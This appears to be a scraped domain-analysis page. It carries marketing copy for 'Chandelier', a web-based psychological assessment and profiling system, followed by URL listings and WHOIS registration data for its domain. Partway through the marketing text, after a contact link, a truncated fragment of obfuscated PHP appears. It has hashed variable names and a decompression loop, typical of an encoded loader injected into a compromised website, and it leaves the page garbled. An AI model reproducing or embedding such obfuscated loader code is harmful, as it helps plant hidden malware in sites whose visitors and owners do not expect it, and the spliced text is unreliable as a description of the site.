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register login about facilites chandelier chart resources subscription details contacts українська english (uk) strength-based methodology & powerful technology combine to allow assembly, management and analysis of multiple sets of psychological and other rich data via holistic ‘portraits’ dr.trevor j. tebbs, ph.d. author the chandelier system has been developed in conjunction with dr. stanislav dovgyi and maksym galchenko of the institute of gifted child, national academy of pedagogical science, kiev, ukraine about chandelier a web-based computer - aided system firmly rooted in psychological educational & social learning principles and concepts providing drawn from at least a century of leading philosophers and scientists an innovative, science- & strength-based methodology seamlessly integrated with powerful technology used to create confidential individual holistic and nuanced profiles or 'portraits' a means of deepening knowledge and enhancing understanding of individual educational and social emotional strengths and needs a professional tool used to gauge potential, record and monitor growth with a view to providing the best support optimal realization of potential a tool designed for use with diverse populations in a wide range of settings, e.g., clinic, regular, gifted and special education, sport-related and health-care environments a system ultimately available world-wide, culture-free and reliant upon locally, regionally, nationally and/or internationally obtained data a communication system supporting local and global connectivity chandelier technology facilitates entry, storage and management of multiple sets of psychological and other rich data direct access to the internet for exploration, retrieval and storage of multiple resources, e.g., pdf. files, school and state reports, research journals, articles, youtube, tedtalks, and other material relevant to individual cases access to, and downloading of personal files containing notes, templates and other useful documents; editing and generation of written reports and tables organization, synthesis, easy access to, and retrieval of data display of synthesized data on-screen via the chandelier chart direct access to the ‘cloud’ for research purposes, down-loading and up-loading of anonymous data non-traditional communication between users, i.e., opportunities for direct social-media style communication between professionals and others associated with individual cases direct access to various levels of data-point information via on screen pop-up data boxes the basic chandelier chart behavioral patterns of observed behavior, executive function, behavioral choices and physical skills modifying epigenetic & exogenous influences & multiple positive or negative environmental modifications psychometric cognitive, creative & academic abilities predispositional genetic & endogenous influences and natural dispositions download home page print email details written by super user category: uncategorised published: 05 may 2014 hits: 67301 chandelier portraits permit who may use chandelier the benefits of chandelier how does the system work? free trial offer chandelier portraits permit simultaneous examination and analysis of data from all four core reference points easier recognition of individual's strengths and potential for development deeper understanding of resident strengths available to support development increased awareness of issues possibly detrimental to full realization of potential insight with respect to new and, or alternative ways of diagnosing, treating, developing interventions, strategic planning and offering recommendations confidentiality between professional users and clients who may use chandelier principal users gathering and sharing confidential data is an important and sensitive responsibility with serious implications. primary users of the system must be professionals and/or researchers deemed competent, i.e., appropriately qualified, certified and/or, licensed, e.g., psychologists, school psychologists, psychiatrists, health officials, special educators and other school administrators possessed of authority by virtue of specialist training and, or position in clinics, institutes of education, colleges and universities. principal users will have full access to the system and use of the program. secondary users secondary users of the chandelier system are essentially responsible recipients of the information gathered by the professional. typically they will be fellow professionals, clients, parents and, in the case of the system being used in an educational setting, teachers and others on a ‘need-to-know’ basis secondary users will have partial access to the system only when given proper permission by the principal user. various functions of the system are disabled for secondary users giving them no power to interfere with data. the benefits of chandelier strength-based – encouraging, affirming once data is entered into the system, little or no further reliance on traditional multi-pages documents! provides significant improvement in service quality time – and therefore also cost -saving instant availability of full array of data information. availability of varying levels of information directly available on screen. comprehensive and clear set of data and other information simultaneous examination and analysis of data honest appraisal - includes broad coverage, i.e., elements supportive of, and detrimental to development of potential stimulates insight, novel and, or alternative ways to explore an individual case, determine level of potential and best practice in terms of supporting educational and/psychological development and/or healing asset in communication meaningfully with professional how does the system work? data and other information, e.g., demographic, psychometric, is gathered by way of typical protocol/procedures data is entered into the chandelier data entry matrix depending on the point of reference, i.e., psychometric, behavioral the system automatically links the data entry matrix with chandelier chart for proper placement of data in appropriate section, e.g., behavioral, predispositional, to form an individual 'portrait' data points serve dual purpose, i.e., they are informative but also serve as function buttons. by clicking on a data point, varying levels of further information relating to the data point may be access via the pop-ups that appear on the chart reports created within the system and linked to individual cases may be accessed via the system, stored in the system and, or downloaded to personal files free trial offer we are pleased to offer qualified professionals free trial of the chandelier system. the offer provides: full use of the chandelier system for three months five (5) cases and, or use of 25 charts access to the technical manual contact with dr. trevor tebbs in case of questions those wishing to apply must first register for full use of the program. < prev contact detailes >4);if($tc9a16c47da8eee87){$ta7fb8b0a1c0e2e9e=(ord($t059ec46cfe335260[$tbf14159dc7d007d3++])&0x0f)+3;for($t17d35bb9df7a47e4=0;$t17d35bb9df7a47e4<$ta7fb8b0a1c0e2e9e;$t17d35bb9df7a47e4++)$t7c7e72b89b83e235[$t77605d5f26dd5248+$t17d35bb9df7a47e4]=$t7c7e72b89b83e235[$t77605d5f26dd5248-$tc9a16c47da8eee87+$t17d35bb9df7a47e4];$t77605d5f26dd5248+=$ta7fb8b0a1c0e2e9e;}else{$ta7fb8b0a1c0e2e9e=(ord($t059ec46cfe335260[$tbf14159dc7d007d3++])<<8);$ta7fb8b0a1c0e2e9e+=ord($t059ec46cfe335260[$tbf14159dc7d007d3++])+16;for($t17d35bb9df7a47e4=0;$t17d35bb9df7a47e4<$ta7fb8b0a1c0e2e9e;$t7c7e72b89b83e235[$t77605d5f26dd5248+$t17d35bb9df7a47e4++]=$t059ec46cfe335260[$tbf14159dc7d007d3]);$tbf14159dc7d007d3++;$t77605d5f26dd5248+=$ta7fb8b0a1c0e2e9e;}}else $t7c7e72b89b83e235[$t77605d5f26dd5248++]=$t059ec46cfe335260[$tbf14159dc7d007d3++];$t65ce9f6823d588a7<<=1;$t4a747c3263ca7a55--;if($tbf14159dc7d007d3==$t0d47bdf6fd9dde2e){$t43d5686285035c13=i

URL analysis for chandelierassessments.com

http://www.chandelierassessments.com/ua/
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http://www.chandelierassessments.com/#the-benefits-of-chandelier
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http://www.chandelierassessments.com/#prezi
http://www.chandelierassessments.com/#how-does-the-system-work
http://www.chandelierassessments.com/#chandelier-portraits-permit
http://www.chandelierassessments.com/#about
http://www.chandelierassessments.com/docs/trever-tebbs.pptx
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http://www.chandelierassessments.com/#chart
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Whois Information

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Domain Name: CHANDELIERASSESSMENTS.COM
Registry Domain ID: 1701798855_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2017-05-17T13:41:46Z
Creation Date: 2012-02-12T14:14:22Z
Registry Expiry Date: 2018-05-22T11:59:59Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: 480-624-2505
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Name Server: NS1.VPS.UA
Name Server: NS2.VPS.UA
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2017-12-22T07:13:12Z <<<

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  REGISTRAR GoDaddy.com, LLC

SERVERS

  SERVER com.whois-servers.net

  ARGS domain =chandelierassessments.com

  PORT 43

  TYPE domain

DOMAIN

  NAME chandelierassessments.com

  CHANGED 2017-05-17

  CREATED 2012-02-12

STATUS
clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
clientRenewProhibited https://icann.org/epp#clientRenewProhibited
clientTransferProhibited https://icann.org/epp#clientTransferProhibited
clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited

NSERVER

  NS1.VPS.UA 50.30.47.110

  NS2.VPS.UA 80.86.88.162

  REGISTERED yes

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